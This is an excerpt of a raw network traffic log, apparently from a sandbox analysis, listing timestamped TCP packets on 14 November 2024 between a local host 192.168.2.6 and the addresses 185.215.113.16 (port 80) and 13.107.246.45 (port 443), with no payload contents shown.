Nov 14, 2024 17:24:38.622039080 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.622050047 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.622060061 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.622061014 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.622070074 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.622080088 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.622103930 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.622133970 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.622920990 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.622932911 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.622942924 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.622953892 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.622963905 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.622975111 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.622987032 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.622988939 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.622999907 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.623011112 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.623034000 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.623066902 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.623781919 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.623799086 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.623809099 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.623820066 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.623831034 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.623837948 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.623842001 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.623852968 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.623862982 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.623872995 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.623876095 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.623897076 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.623928070 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.624644995 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.624656916 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.624666929 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.624677896 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.624687910 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.624700069 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.624707937 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.624747992 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.624784946 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.627455950 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.629162073 CET	443	49838	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:38.629276991 CET	443	49838	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:38.629318953 CET	49838	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:38.629586935 CET	49838	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:38.629609108 CET	443	49838	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:38.629626036 CET	49838	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:38.629632950 CET	443	49838	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:38.632935047 CET	49843	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:38.632977962 CET	443	49843	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:38.633039951 CET	49843	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:38.633275032 CET	49843	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:38.633281946 CET	443	49843	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:38.638288975 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.638318062 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.638328075 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.638382912 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.664720058 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.664796114 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.664800882 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.664813995 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.664872885 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.665147066 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.665157080 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.665167093 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.665184021 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.665201902 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.665235043 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.665605068 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.665616035 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.665626049 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.665637970 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.665648937 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.665658951 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.665663004 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.665669918 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.665683985 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.665714025 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.666610956 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.666624069 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.666632891 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.666645050 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.666655064 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.666666031 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.666666985 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.666676998 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.666687965 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.666692972 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.666712999 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.676265001 CET	443	49839	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:38.676282883 CET	443	49839	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:38.676317930 CET	443	49839	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:38.676353931 CET	49839	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:38.676379919 CET	49839	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:38.676784039 CET	49839	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:38.676795006 CET	443	49839	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:38.676817894 CET	49839	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:38.676822901 CET	443	49839	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:38.680140972 CET	49844	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:38.680156946 CET	443	49844	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:38.680311918 CET	49844	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:38.680573940 CET	49844	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:38.680584908 CET	443	49844	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:38.702025890 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.702039957 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.702049971 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.702101946 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.702140093 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.703284025 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.714701891 CET	443	49840	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:38.715743065 CET	49840	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:38.715794086 CET	443	49840	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:38.716553926 CET	49840	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:38.716572046 CET	443	49840	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:38.724621058 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.732273102 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.732300043 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.732310057 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.732368946 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.736350060 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.736394882 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.736398935 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.736406088 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.736473083 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.736654043 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.736665964 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.736675978 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.736687899 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.736710072 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.736742020 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.737360954 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.737373114 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.737384081 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.737396955 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.737406969 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.737416983 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.737420082 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.737431049 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.737447023 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.737478971 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.738353014 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.738365889 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.738375902 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.738396883 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.738404036 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.738408089 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.738419056 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.738429070 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.738440037 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.738441944 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.738441944 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.738451004 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.738461971 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.738475084 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.738475084 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.739120960 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.739130974 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.739140034 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.739149094 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.739160061 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.739164114 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.739170074 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.739181042 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.739185095 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.739191055 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.739202976 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.739203930 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.739221096 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.739249945 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.740037918 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.740051031 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.740061045 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.740070105 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.740081072 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.740091085 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.740101099 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.740106106 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.740112066 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.740122080 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.740125895 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.740132093 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.740144968 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.740174055 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.740174055 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.741036892 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.741046906 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.741058111 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.741069078 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.741080046 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.741090059 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.741091013 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.741100073 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.741111040 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.741127014 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.741168022 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.741168022 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.741631031 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.741641045 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.741652012 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.741662025 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.741672039 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.741683960 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.741689920 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.741693020 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.741703033 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.741710901 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.741714001 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.741759062 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.741760015 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.742486000 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.742499113 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.742546082 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.745412111 CET	443	49841	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:38.746232033 CET	49841	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:38.746248960 CET	443	49841	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:38.746691942 CET	49841	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:38.746696949 CET	443	49841	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:38.755601883 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.755657911 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.755702019 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.755712986 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.755759001 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.761142015 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.780838966 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.780885935 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.780896902 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.780985117 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.781132936 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.781143904 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.781152964 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.781164885 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.781193972 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.781224966 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.781557083 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.781615973 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.781645060 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.781656027 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.781666040 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.781677008 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.781687021 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.781714916 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.781774044 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.782217979 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.782265902 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.782339096 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.782350063 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.782437086 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.782623053 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.782633066 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.782643080 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.782651901 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.782663107 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.782686949 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.782737017 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.783160925 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.783173084 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.783183098 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.783224106 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.783252001 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.783536911 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.783546925 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.783592939 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.820123911 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.820178032 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.820188999 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.820240974 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.844899893 CET	443	49840	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:38.845622063 CET	443	49840	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:38.845688105 CET	49840	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:38.845768929 CET	49840	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:38.845782995 CET	443	49840	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:38.845796108 CET	49840	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:38.845802069 CET	443	49840	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:38.848591089 CET	49845	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:38.848635912 CET	443	49845	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:38.848792076 CET	49845	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:38.848948956 CET	49845	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:38.848958015 CET	443	49845	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:38.849478006 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.849524975 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.849546909 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.849556923 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.849606991 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.853771925 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.853867054 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.853910923 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.853981018 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.853991985 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.854001045 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.854036093 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.854377985 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.854388952 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.854398966 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.854407072 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.854418039 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.854428053 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.854429007 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.854444027 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.854456902 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.854482889 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.854497910 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.854968071 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.854995966 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.855005026 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.855034113 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.855067015 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.855212927 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.855222940 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.855233908 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.855243921 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.855261087 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.855299950 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.855577946 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.855719090 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.855730057 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.855741024 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.855750084 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.855767965 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.855778933 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.855792046 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.855792046 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.855813026 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.855845928 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.856348991 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.856359959 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.856372118 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.856384039 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.856396914 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.856408119 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.856419086 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.856425047 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.856430054 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.856441021 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.856451988 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.856472969 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.857103109 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.857114077 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.857125998 CET	80	49830	185.215.113.16	192.168.2.6
